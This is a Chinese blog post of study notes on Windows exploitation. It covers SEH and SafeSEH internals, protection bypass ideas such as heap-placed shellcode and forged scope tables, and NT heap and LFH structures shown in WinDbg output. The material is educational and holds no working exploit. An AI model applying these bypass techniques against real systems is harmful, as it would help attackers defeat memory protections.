LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

Windows Pwn

环境搭建

  • 安装winpwn, 类似于pwntools

    1
    2
    3
    4
    pip install winpwn
    pip install pefile
    pip install keystone-engine
    pip install capstone
  • 安装winchecksec,类似于checksec

    也可以采用适用于PE文件的checksec.py脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    git clone https://github.com/Microsoft/vcpkg.git
    cd vcpkg
    bootstrap-vcpkg.bat

    vcpkg install pe-parse:x86-windows
    vcpkg install pe-parse:x64-windows
    vcpkg install uthenticode:x86-windows
    vcpkg install uthenticode:x64-windows
    # 添加环境变量
    # vcpkg\packages\openssl-windows_x64-windows
    # vcpkg\packages\pe-parse_x64-windows
    # vcpkg\packages\uthenticode_x64-windows


    git clone https://github.com/trailofbits/winchecksec.git
    cd winchecksec
    mkdir build
    cd build
    # 复制vcpkg/packages/openssl-windows_x64-windows\include\openssl到winchecksec/include目录下
    cmake ..
    cmake --build . --config Release

常用的调试器就是windbg,gdb

基本知识

函数调用约定

x64模式下只有一种调用方式就是fastcall。在发生函数调用的时候前四个参数通过寄存器RCX,RDX,R8,R9传递剩下的通过栈传递。函数的返回值保存在RAX寄存器中。

  • 如果返回值为较大的值(结构体),那么由调用方在栈上分配空间,并将指针通过RCX传递给被调用函数,被调用函数通过RAX返回该指针
  • 栈需要十六字节对齐,但是call之后会push八字节的返回地址,但是这样的情况下栈就没办法对齐了,因此所有的非叶子节点调用函数都需要调整栈帧为16n+8
  • 对于 R8-R15 寄存器,我们可以使用 r8, r8d, r8w, r8b 分别代表r8寄存器的64位、低32位、低16位和低8
  • 一般情况下x64平台中RBP栈指针被废弃,只作为普通的寄存器使用,所有的栈操作都通过RSP指针完成。
  • 调用者负责清理栈帧,被调用者不用清理栈帧,但是有时候调用者不一定会清理栈帧。这是因为与通过 PUSHPOP 指令在堆栈中显式添加和移除参数的x86 编译器不同,x64 模式下,编译器会预留足够的堆栈空间,以调用最大目标函数(参数方法)所使用的任何内容。随后,在调用子函数时,它重复使用相同的堆栈区域来设置这些参数,从而实现不用调用者反复清栈的过程。
1
2
3
4
5
func3(int a, double b, int c, float d, int e, float f);
// a in RCX, b in XMM1, c in R8, d in XMM3, f then e pushed on stack
func4(__m64 a, __m128 b, struct c, float d, __m128 e, __m128 f);
// a in RCX, ptr to b in RDX, ptr to c in R8, d in XMM3,
// ptr to f pushed on stack, then ptr to e pushed on stack

windows保护

  • ASLR,地址随机化,在程序启动的时候将DLL随机加载到内存中
  • High Entropy VA保护,如果该保护开启,则表示程序的随机化地址为64bit
  • Force Integrity强制签名保护,程序运行时检查签名,如果签名不正确,则阻止程序运行
  • Isolation隔离保护,开启此保护则表示程序将会在一个相对独立的环境下运行,从而阻止攻击者过度提升权限
  • NX/DEP/PAE不可执行保护,PAE是物理地址扩展,允许某些32位的程序访问超过4GB的物理内存区域。
  • SEHOP结构化异常处理保护,以一种SEH扩展的方式,通过对程序使用中的SEH结构体进行检查,来判断SEH是否收到了攻击
  • CFG控制流防护,在程序发生跳转之前根据CFG判断将要跳转的地址是否合法
  • RFG返回地址保护,会在每个函数头部将返回地址保存到fs:[rsp],并在函数返回前将返回地址与保存的地址进行比较
  • SafeSEH安全结构化异常处理,以一种白名单的方式,事先定义一些异常处理程序并加入到安全结构化异常处理表中,表外的异常处理都会被阻止
  • GS类似于Canary,检测是否发生栈溢出
  • Authenticode签名保护
  • .NETDLL混淆级保护

导入表和导出表

Windows没有延迟绑定,也就不存在PLT/GOT表。Windows调用库函数需要借助的就是导入表和导出表了。导入表是PE文件中比较重要的一个部分,是专门为实现代码重用而设计的。Windows加载器在运行PE文件的时候会将导入表中声明的函数一并加载到进程的地址空间中,并修正指令代码中地调用函数地址。

导入表即IAT可以从IDA中查看,一般用此泄露出相关动态链接库的基址,位于idata段。

图片无法显示,请联系作者

结构化异常处理

结构化异常处理是Windows上用于处理异常事件的结构体。

TIB结构

TIB即线程信息块,用来保存线程的基本信息。TEB是系统为了保存每个线程的私有数据创建的,每个线程都有自己的TEBTIB实际上被包含在TEB结构体的首部。其结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib; // 子系统
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

FS:[0]即指向了当前线程的SEH链,FS:[0x18]即指向了TEB结构体。

可以看到结构体的第一个成员变量就是SEH链的起始地址,其数据类型为_EXCEPTION_REGISTRATION_RECORD结构体指针。结构体如下

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个结构的指针
PEXCEPTION_ROUTINE Handler;//当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

这可以很形象的表示了一个SEH链,第一个元素Next指针指向下一个SEH结构体,如果Next0xFFFFFF则表示SEH链结束。第二个成员变量则表示当前SEH结构体的异常处理函数

Windows 异常处理流程

异常处理流程:

  1. CPU在执行过程中遇到异常,则内核接过进程的控制权开始进行内核的异常处理
  2. 内核异常处理结束,将控制权返还给ring3
  3. ring3中第一个处理异常的函数是ntdll.dll中的KiUserExceptionDispatch函数,该函数首先判断是否存在调试器,若存在则将异常交给调试器处理。
  4. 非调试状态下,调用RtlDispatchException函数进行异常分发。该函数对线程的SEH链表进行遍历,如果能够找到对应的处理异常的回调函数,则调用unwind函数再次遍历之前的SEH链表,维护异常处理机制的完整性。接着调用异常处理函数进行异常处理。异常处理成功则返回继续执行指令,否则继续遍历SEH链表。
  5. SEH都失败了,且线程中曾经使用SetUnhandleExceptionFilter函数,则调用该函数进行异常处理。
  6. 如果用户自定义的异常处理函数失败,或者用户根本就没有设置,则调用系统默认的异常处理函数UnhandledExceprionFilter(U.E.F),该函数根据注册表中的设定决定是关闭程序还是弹出错误对话框。

微软在WindowsXP之后再SEH基础上增加了一种新的异常处理V.E.H即向量化的异常处理。多个VEH结构体组成双向链表。其优先级仅次于调试器处理,即KiUserExceptionDispatch函数首先检查是否存在调试器,然后检查VEH链表,最后检查SEH链表。并且用户在注册VEH异常处理的时候可以指定其在双向链表中的位置。值得注意的是VEH保存在堆中。

unwind函数的调用是为了维护异常处理机制的完整性,如果不存在unwind函数,当SEH链表中的handler能够正确处理异常,或者发生嵌套异常处理的时候,所发生的函数调用会破坏原有的栈中保存的SEH链表,因此unwind函数会在真正处理异常之前将之前的的SEH结构体从链表中逐个删除,在拆除之前会给异常处理函数释放资源,清理现场的机会,因此异常处理函数会被调用两次,第一轮调用是用来尝试处理异常,而第二轮的unwind调用往往执行的是释放资源的操作。

这些信息都保存在一个维护异常信息的结构体中,作为回调函数的第一个参数传入。

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {  
DWORD ExceptionCode; //异常状态码
DWORD ExceptionFlags; //异常标志位
struct _EXCEPTION_RECORD *ExceptionRecord; //指向下一个异常的指针
PVOID ExceptionAddress; //异常的发生地址
DWORD NumberParameters; //ExceptionInformation数组中参数的个数
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; //异常的描述信息
} EXCEPTION_RECORD;

SafeSEH

在调用异常处理函数之前进行一系列的有效性验证,当异常处理函数不可靠的时候则终止异常函数的调用。该保护需要编译器和操作系统的双重支持。编译器在编译程序的时候将所有的异常处理的函数地址编入一张安全的S.E.H表,并将这张表放入到程序的映像中。当程序调用异常处理函数的时候会将函数地址与S.E.H表进行匹配。

  • 检查异常处理链是否在当前程序的栈中

  • 检查异常处理函数指针是否指向当前程序的栈中

  • 调用TrlIsValidHandler函数来对异常处理函数进行有效性的验证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    BOOL RtlIsValidHandler(handler)
    {
    if (handler is in image){ //在加载模块内存空间内
    if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag ser)
    return FALSE;
    if (image has a SafeSEH table) //含有安全SEH表,说明程序启用SafeSEH
    if (handler found in the table) // 异常处理函数地址出现在安全SEH表中
    return TRUE;
    else // 异常处理函数未出现在安全SEH表中
    return FALSE;
    if (image is a .NET assembly with the ILonly flag set) //只包含IL
    return FALSE;
    }
    if (handler is on a non-executable page){ // 跑到不可执行页上
    if (ExecuteDispatchEnable bit set in the process flags) //DEP关闭
    return TRUE;
    else
    raise ACESS_VIOLATION; //抛出访问违例异常
    }
    if (handler is not in an image){ // 在加载模块内存之外,并且在可执行页上
    if (ImageDispatchEnable bit set in the process flags) // 允许在加载模块内存空间外执行
    return TRUE;
    else
    return FALSE;
    }
    return TRUE; //前面所有条件都满足就允许这个异常处理函数执行
    }

绕过SafeSEH

  • 攻击返回地址绕过SafeSEH
  • 覆写虚函数绕过
  • 从堆中绕过。如果异常函数指针指向堆区,即使安全校验发现S.E.H已经不可信,仍然会调用其他已经被修改的异常处理函数,因此直接将shellcode部署到堆区即可直接跳转执行。
  • 利用未启用SafeSEH模块绕过SafeSEH
  • 利用模块加载之外的地址绕过SafeSEH,当异常处理函数指针指向类型为MAP的映射文件的时候是不会对其进行有效性验证的。

SEHOP

SEHOP的任务是通过检查SEH链的最后一个个异常处理函数是否为系统固定的终极异常处理函数来判断SEH链是否完整

SEH scope Table

scopeTable结构体中保存了__try块相匹配的__except,__finally的值,在main函数开始的入口就被压入到栈中,

图片无法显示,请联系作者

可以看到,在main函数起始的位置首先设置了secoeTable的地址和异常处理函数except_handler4的地址,随后对secopeTable的地址与security_cookie进行了异或加密,然后放入了GS的值(ebp^security_cookie),之后再ebp-0x10的位置放入了SEH链的起始地址也就是fs:0。其中secopeTable的结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};
struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)();
void (*FinallyFunc)();
};
};

其中FilterFuncFinallyFunc是自定义的__except,__finally的值。在ida中的如下

1
2
3
4
5
6
7
8
.rdata:00402630 _EH4_SCOPETABLE_addr dd 0FFFFFFFEh           ; GSCookieOffset
.rdata:00402630 ; DATA XREF: sub_4017E5+2↑o
.rdata:00402630 dd 0 ; GSCookieXOROffset ; SEH scope table for function 4017E5
.rdata:00402630 dd 0FFFFFFD8h ; EHCookieOffset
.rdata:00402630 dd 0 ; EHCookieXOROffset
.rdata:00402630 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:00402630 dd offset loc_40184A ; ScopeRecord.FilterFunc
.rdata:00402630 dd offset loc_40185D ; ScopeRecord.HandlerFunc

_except_handler4就是添加的系统默认的异常处理函数,发生异常的时候会首先调用该函数,函数内部就是放入了security_cookie_check函数指针和security_cookie的值然后就调用了位于vcruntime140.dll中的_except_handler4_common函数

图片无法显示,请联系作者

在程序发生异常需要调用__except,__finally的时候会首先根据security_cookie解密_EH4_SECOPETABLE的地址,然后检查存储的GS值是否正确,当tryLevel=0xfffffffe的时候就会调用其中存储的FilterFunc,FinallyFunc函数。具体参考这篇

如果可以伪造一个SECOPETABLE结构,替换其中的FilterFunc/FinallyFunc函数指针,并覆盖栈中存储的SECOPETABLE地址,就可以实现任意函数地址调用。注意到栈中ebp-0x1c位置存储的GS的值是和ebp异或加密过的,因此要泄露GS的数值首先需要泄露ebp的数值。

图片无法显示,请联系作者

Windows 堆

windows10中引入了一种新的堆实现机制称之为段堆,而旧的堆实现机制称之为NT堆。当前windows apps和某些特定的进程使用的是段堆,而其他的程序一般使用的是NT堆,不过可以从注册表中修改。

NT堆

NT堆可以分为前端Front-End和后端Back-End两个管理器,其中前端管理器分为LowFragmentationHeap,LFH,相当于Linux中的fastbin。但是又有不同,这个之后在进行介绍。平常所说的快表指的就是前端管理器,而空表则指的就是后端管理器。

图片无法显示,请联系作者

堆结构

windows中对堆块进行管理的是HEAP_ENTRY结构体,位于chunk的头部,64位下堆头部大小为0x10字节,32位下堆头部大小为0x8字节,以1ead5760720堆块为例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> !address 1ea`d5760720

Usage: Heap
Base Address: 000001ea`d5760000
End Address: 000001ea`d5762000
Region Size: 00000000`00002000 ( 8.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 000001ea`d5760000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x1ead5760000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x1ead5760720


Content source: 1 (target), length: 18e0
0:000> !heap -x 0x1ead5760720
Entry User Heap Segment Size PrevSize Unused Flags
------------------------------------------------------------------------------------------------------------
000001ead5760710 000001ead5760720 000001ead5760000 000001ead5760000 60 710 8 busy

从上面我们可以看到该堆块属于000001ead5760000的堆中的000001ead5760000也就是0号段,用户空间或者说是内容空间从000001ead5760720开始。windows中每个堆依靠一个_HEAP的结构体进行管理,并且至少有一个段Segment,在创建时就会建立,称之为0号段。当该段用完时,如果堆是可增长的也就是含有HEAO_GROWABLE标志就会为该堆再次分配一个段。0号段的起始位置存储着堆得头信息也就是_HEAP结构体。每个HEAP结构体由0号堆段的_HEAP_SEGMENT结构体和自己的结构拼接而成,在64位下,_HEAP_SEGMENT结构体的大小为0x6032位下为0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
0:000> dt _HEAP 1ead5760000
ntdll!_HEAP
+0x000 Segment : _HEAP_SEGMENT // 表明也是_HEAP_SEGMENT结构体的起始位置
+0x000 Entry : _HEAP_ENTRY // 堆头部数据
+0x010 SegmentSignature : 0xffeeffee // _HEAP_SEGMENT结构体签名,为固定值
+0x014 SegmentFlags : 0
+0x018 SegmentListEntry : _LIST_ENTRY [ 0x000001ea`d5760120 - 0x000001ea`d5760120 ] //段双向链表
+0x028 Heap : 0x000001ea`d5760000 _HEAP //段所属的堆
+0x030 BaseAddress : 0x000001ea`d5760000 Void // 段的基址
+0x038 NumberOfPages : 2 //段的内存页数
+0x040 FirstEntry : 0x000001ea`d5760710 _HEAP_ENTRY // 第一个堆块
+0x048 LastValidEntry : 0x000001ea`d5762000 _HEAP_ENTRY // 堆块的边界
+0x050 NumberOfUnCommittedPages : 0 //尚未提交的内存页数
+0x054 NumberOfUnCommittedRanges : 1 //UnCommittedRanges数组元素个数
+0x058 SegmentAllocatorBackTraceIndex : 0
+0x05a Reserved : 0
+0x060 UCRSegmentList : _LIST_ENTRY [ 0x000001ea`d5761fe0 - 0x000001ea`d5761fe0 ]
+0x070 Flags : 0x1001 // _HEAP 结构体数据起始位置
+0x074 ForceFlags : 1
+0x078 CompatibilityFlags : 0
+0x07c EncodeFlagMask : 0x100000
+0x080 Encoding : _HEAP_ENTRY //堆头即_HEAP_ENTRY异或加密的秘钥
+0x090 Interceptor : 0
+0x094 VirtualMemoryThreshold : 0xff00 // VirtualMemory的阈值,大于该值会直接从内存管理器中分配, 并不会从从空闲链表申请
+0x098 Signature : 0xeeffeeff // HEAP 结构体签名,固定为0xeeffeeff
+0x0a0 SegmentReserve : 0x100000
+0x0a8 SegmentCommit : 0x2000
+0x0b0 DeCommitFreeBlockThreshold : 0x100
+0x0b8 DeCommitTotalFreeThreshold : 0x1000
+0x0c0 TotalFreeSize : 0x16d
+0x0c8 MaximumAllocationSize : 0x00007fff`fffdefff
+0x0d0 ProcessHeapsListIndex : 3 // 本堆在进程堆列表中的索引值
+0x0d2 HeaderValidateLength : 0x2c0
+0x0d8 HeaderValidateCopy : (null)
+0x0e0 NextAvailableTagIndex : 0
+0x0e2 MaximumTagIndex : 0
+0x0e8 TagEntries : (null)
+0x0f0 UCRList : _LIST_ENTRY [ 0x000001ea`d57600f0 - 0x000001ea`d57600f0 ]
+0x100 AlignRound : 0x1f
+0x108 AlignMask : 0xffffffff`fffffff0
+0x110 VirtualAllocdBlocks : _LIST_ENTRY [ 0x000001ea`d5760110 - 0x000001ea`d5760110 ]
+0x120 SegmentList : _LIST_ENTRY [ 0x000001ea`d5760018 - 0x000001ea`d5760018 ] //段链表头指针位置
+0x130 AllocatorBackTraceIndex : 0
+0x134 NonDedicatedListLength : 0
+0x138 BlocksIndex : 0x000001ea`d57602c0 Void //_HEAP_LIST_LOOKUP结构体用于管理不同大小的释放的堆块,方便快速查找
+0x140 UCRIndex : (null)
+0x148 PseudoTagEntries : (null)
+0x150 FreeLists : _LIST_ENTRY [ 0x000001ea`d57607e0 - 0x000001ea`d5760960 ] //空闲双向链表,由小到大排列
+0x160 LockVariable : (null)
+0x168 CommitRoutine : 0x2a08af0f`aa087430 long +2a08af0faa087430
+0x170 StackTraceInitVar : _RTL_RUN_ONCE
+0x178 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x198 FrontEndHeap : (null) //指向前端堆结构的指针
+0x1a0 FrontHeapLockCount : 0
+0x1a2 FrontEndHeapType : 0 ''
+0x1a3 RequestedFrontEndHeapType : 0 ''
+0x1a8 FrontEndHeapUsageData : (null)
+0x1b0 FrontEndHeapMaximumIndex : 0
+0x1b2 FrontEndHeapStatusBitmap : [129] "" //用于优化的位图,当处理内存请求时可以用于判断是由后端还是前端堆管理器来处理.
+0x238 Counters : _HEAP_COUNTERS
+0x2b0 TuningParameters : _HEAP_TUNING_PARAMETERS
0:000> dt _HEAP_SEGMENT 1ead5760000
ntdll!_HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : 0xffeeffee
+0x014 SegmentFlags : 0
+0x018 SegmentListEntry : _LIST_ENTRY [ 0x000001ea`d5760120 - 0x000001ea`d5760120 ]
+0x028 Heap : 0x000001ea`d5760000 _HEAP
+0x030 BaseAddress : 0x000001ea`d5760000 Void
+0x038 NumberOfPages : 2
+0x040 FirstEntry : 0x000001ea`d5760710 _HEAP_ENTRY
+0x048 LastValidEntry : 0x000001ea`d5762000 _HEAP_ENTRY
+0x050 NumberOfUnCommittedPages : 0
+0x054 NumberOfUnCommittedRanges : 1
+0x058 SegmentAllocatorBackTraceIndex : 0
+0x05a Reserved : 0
+0x060 UCRSegmentList : _LIST_ENTRY [ 0x000001ea`d5761fe0 - 0x000001ea`d5761fe0 ]
0:000> dq 1ead5760000
000001ea`d5760000 00000000`00000000 0100ab44`af39da5d
000001ea`d5760010 00000000`ffeeffee 000001ea`d5760120
000001ea`d5760020 000001ea`d5760120 000001ea`d5760000

从中我们可以看到,尽管是_HEAP结构体也是包含_HEAP_ENTRY即堆块头部的,并且该头部也进行了加密。来看一下堆块的头部_HEAP_ENTRYEntry-User这个空间中就是堆头部数据,但是为了防止堆溢出,windows对堆头部进行了加密,加密的方法是和HEAP->ENCODING保存的数据进行异或加密。

1
2
3
4
0:000> dq 000001ead5760710 l2
000001ea`d5760710 00000000`00000000 0800ab35`d839da2a
0:000> ?0800ab35`d839da2a^0000ab44`df38da2c
Evaluate expression: 576461237752233990 = 08000071`07010006
1
2
3
4
5
6
7
8
9
10
11
12
0:000> dt _HEAP_ENTRY
ntdll!_HEAP_ENTRY
+0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B
+0x00a Flags : UChar
+0x00b SmallTagIndex : UChar //堆块的标记序号,起到校验的作用,其值是前三个字节的异或值,也就是size和flag的异或值
+0x008 SubSegmentCode : Uint4B
+0x00c PreviousSize : Uint2B //前一个堆块的大小
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar // 分配chunk之后的剩余值?可以用来表示堆块是由前端还是后端分配的

堆块真正的size是堆头中存储的size*align,在这里64位也就是0x6*0x10=0x60大小。flag位是01表示堆块正在使用中,07是一个校验值,0x71表示上一个堆块的大小是0x710。其中flag的值对应的结果如下

  • 01-HEAP_ENTRY_BUSY堆块处于占用状态
  • 02-HEAP_ENTRY_EXTRA_PRESENT该块存在额外的描述
  • 03-HEAP_ENTRY_FILE_PATTERN使用固定模式填充堆块
  • 08-HEAP_ENTRY_VIRTUAL_ALLOC虚拟分配的堆块virtual allocation
  • 10-HEAP_ENTRY_LAST_ENTRY表示是该段的最后一个堆块

由于64位下堆块需要0x10对齐,因此0x10大小的堆头的前八字节可以用于保存上一个堆块的User Data。再来看一个free状态下的堆块

1
2
3
4
5
6
7
8
0:000> !heap -x 0x1ead57607e0
Entry User Heap Segment Size PrevSize Unused Flags
------------------------------------------------------------------------------------------------------------
000001ead57607d0 000001ead57607e0 000001ead5760000 000001ead5760000 60 60 0 free
0:000> dq 000001ead57607d0 l2
000001ea`d57607d0 00000000`00000000 0000ab42`d938da2a
0:000> ?0000ab42`d938da2a^0000ab44`df38da2c
Evaluate expression: 25870467078 = 00000006`06000006

free状态下的堆块中flag位置设置为了00,相应的SmallTagIndex的值也需要发生变化,该块的前一个堆块是0x60。但是需要注意的是释放之后的堆块与使用中的堆块具有不同的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> dt _HEAP_FREE_ENTRY 000001ead57607d0
ntdll!_HEAP_FREE_ENTRY
+0x000 HeapEntry : _HEAP_ENTRY
+0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY
+0x000 PreviousBlockPrivateData : (null)
+0x008 Size : 0xda2a
+0x00a Flags : 0x38 '8'
+0x00b SmallTagIndex : 0xd9 ''
+0x008 SubSegmentCode : 0xd938da2a
+0x00c PreviousSize : 0xab42
+0x00e SegmentOffset : 0 ''
+0x00e LFHFlags : 0 ''
+0x00f UnusedBytes : 0 ''
+0x010 FreeList : _LIST_ENTRY [ 0x000001ea`d5760960 - 0x000001ea`d5760150 ]
ntdll!_LIST_ENTRY
[ 0x000001ea`d5760960 - 0x000001ea`d5760150 ]
+0x000 Flink : 0x000001ea`d5760960 _LIST_ENTRY [ 0x000001ea`d5760150 - 0x000001ea`d57607e0 ]
+0x008 Blink : 0x000001ea`d5760150 _LIST_ENTRY [ 0x000001ea`d57607e0 - 0x000001ea`d5760960 ]

主要是增加了一个_LIST_ENTRY的结构的成员变量FreeList,这就是双向链表了。这里需要注意的是Flink,Blink均指向的是_LIst_ENTRY结构体,也就是说是指向用户空间的起始位置的,并不是和Linux中一样指向堆头。

这里顺便说一句,通过VIRTUAL_ALLOC即相当于mmap分配的堆块的结构体如下

1
2
3
4
5
6
7
8
> 0:000> dt _HEAP_VIRTUAL_ALLOC_ENTRY
> ntdll!_HEAP_VIRTUAL_ALLOC_ENTRY
> +0x000 Entry : _LIST_ENTRY //一个双向链表
> +0x010 ExtraStuff : _HEAP_ENTRY_EXTRA
> +0x020 CommitSize : Uint8B
> +0x028 ReserveSize : Uint8B
> +0x030 BusyBlock : _HEAP_ENTRY //一个堆头
>

那么堆块释放之后就会按照其size大小被加入到freeList中,由小到大排列。Windows下通过堆头部的BlocksIndex的成员变量(单向链表)起到Linuxsmallbin/largebin的效果,快速找到相应大小的释放的堆块,其结构体如下,

1
2
3
4
5
6
7
8
9
10
11
0:000> dt _HEAP_LIST_LOOKUP
ntdll!_HEAP_LIST_LOOKUP
+0x000 ExtendedLookup : Ptr64 _HEAP_LIST_LOOKUP //指向下一个HEAP_LIST_LOOKUP(管理更大的堆块)
+0x008 ArraySize : Uint4B //能管理的最大的堆块大小,第一个HEAP_LIST_LOOKUP是0x80,也就是最大0x800的堆块大小
+0x00c ExtraItem : Uint4B
+0x010 ItemCount : Uint4B // BlocksIndex中的堆块数量
+0x014 OutOfRangeItems : Uint4B //超过当前HEAP_LIST_LOOKUP管理大小的堆块数量
+0x018 BaseIndex : Uint4B //BlockIndex中起始的堆块的index,用来在ListHint查找合适的堆块
+0x020 ListHead : Ptr64 _LIST_ENTRY //对应的FreeList的链表头
+0x028 ListsInUseUlong : Ptr64 Uint4B //表明当前ListHints中是否存在堆块,是一个bitmap
+0x030 ListHints : Ptr64 Ptr64 _LIST_ENTRY //后端分配器的重要架构,是一个指针数组,每个指针指向包含有相同大小的堆块数组

最终组成的结构体如下

图片无法显示,请联系作者
LFH

前端堆分配器的主要目的是为了加速堆块的分配,同时避免堆块过于破碎。当相同大小的堆块分配到一定的数量之后就会使用(连续分配超过十八次)并且只在size<0x4000的情况下启用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
0:000> dt _LFH_HEAP
ntdll!_LFH_HEAP
+0x000 Lock : _RTL_SRWLOCK
+0x008 SubSegmentZones : _LIST_ENTRY
+0x018 Heap : Ptr64 Void // _HEAP 指向对应的堆结构
+0x020 NextSegmentInfoArrayAddress : Ptr64 Void
+0x028 FirstUncommittedAddress : Ptr64 Void
+0x030 ReservedAddressLimit : Ptr64 Void
+0x038 SegmentCreate : Uint4B
+0x03c SegmentDelete : Uint4B
+0x040 MinimumCacheDepth : Uint4B
+0x044 CacheShiftThreshold : Uint4B
+0x048 SizeInCache : Uint8B
+0x050 RunInfo : _HEAP_BUCKET_RUN_INFO
+0x060 UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY
+0x2a0 MemoryPolicies : _HEAP_LFH_MEM_POLICIES
+0x2a4 Buckets : [129] _HEAP_BUCKET // 用来寻找对应大小的block阵列结构
+0x4a8 SegmentInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO // SegmentInfo数组,管理不同大小的SubSegment
+0x8b0 AffinitizedInfoArrays : [129] Ptr64 _HEAP_LOCAL_SEGMENT_INFO
+0xcb8 SegmentAllocator : Ptr64 _SEGMENT_HEAP
+0xcc0 LocalData : [1] _HEAP_LOCAL_DATA // 存在执行LFH的指针,用来找回LFH
0:000> dt _HEAP_BUCKET //Buckets
ntdll!_HEAP_BUCKET
+0x000 BlockUnits : Uint2B // 要分配出去的一个BLOCK的大小
+0x002 SizeIndex : UChar // 用户申请的大小
+0x003 UseAffinity : Pos 0, 1 Bit
+0x003 DebugFlags : Pos 1, 2 Bits
+0x003 Flags : UChar
0:000> dt _HEAP_LOCAL_SEGMENT_INFO//SegmentInfoArrays
ntdll!_HEAP_LOCAL_SEGMENT_INFO
+0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA // 指向LFH,方便快速找回
+0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT // 指向分配出去的Subsegment,用于管理UserBlock
+0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT // 数组,存放对应到该SegmentInfo且还有可以分配用户chunk的Subsegment,当ActiveSubsement使用完时会从此处填充
+0x090 SListHeader : _SLIST_HEADER
+0x0a0 Counters : _HEAP_BUCKET_COUNTERS
+0x0a8 LastOpSequence : Uint4B
+0x0ac BucketIndex : Uint2B //index in Bucket array
+0x0ae LastUsed : Uint2B
+0x0b0 NoThrashCount : Uint2B
0:000> dt _HEAP_SUBSEGMENT//(ActiveSubsegment)
ntdll!_HEAP_SUBSEGMENT
+0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO//指回对应HEAP_LOCAL_SEGMENT_INFO
+0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER //堆块池
+0x010 DelayFreeList : _SLIST_HEADER
+0x020 AggregateExchg : _INTERLOCK_SEQ// LOCK,同时记录UserBlock中剩余的堆块的数量
+0x024 BlockSize : Uint2B//该UserBlock中每个Block的大小
+0x026 Flags : Uint2B
+0x028 BlockCount : Uint2B//UserBlock中Block的总数
+0x02a SizeIndex : UChar//该UserBlock对应的SizeIndex
+0x02b AffinityIndex : UChar
+0x024 Alignment : [2] Uint4B
+0x02c Lock : Uint4B
+0x030 SFreeListEntry : _SINGLE_LIST_ENTRY
0:000> dt _INTERLOCK_SEQ // AggregateExchg
ntdll!_INTERLOCK_SEQ
+0x000 Depth : Uint2B // 该UserBlock剩余的Block的数量
+0x002 Hint : Pos 0, 15 Bits
+0x002 Lock : Pos 15, 1 Bit
+0x002 Hint16 : Uint2B
+0x000 Exchg : Int4B
0:000> dt _HEAP_USERDATA_HEADER // UserBlocks
ntdll!_HEAP_USERDATA_HEADER
+0x000 SFreeListEntry : _SINGLE_LIST_ENTRY
+0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT //指回对应的Subsegment
+0x008 Reserved : Ptr64 Void
+0x010 SizeIndexAndPadding : Uint4B
+0x010 SizeIndex : UChar
+0x011 GuardPagePresent : UChar
+0x012 PaddingBytes : Uint2B
+0x014 Signature : Uint4B
+0x018 EncodedOffsets : _HEAP_USERDATA_OFFSETS // 用来验证chunk header是否被修改过
+0x020 BusyBitmap : _RTL_BITMAP_EX //记录正在被使用到Block
+0x030 BitmapData : [1] Uint8B
CHUNK_HEADER // Block(chunk),返回给用户的内存空间
...
CHUNK_HEADER

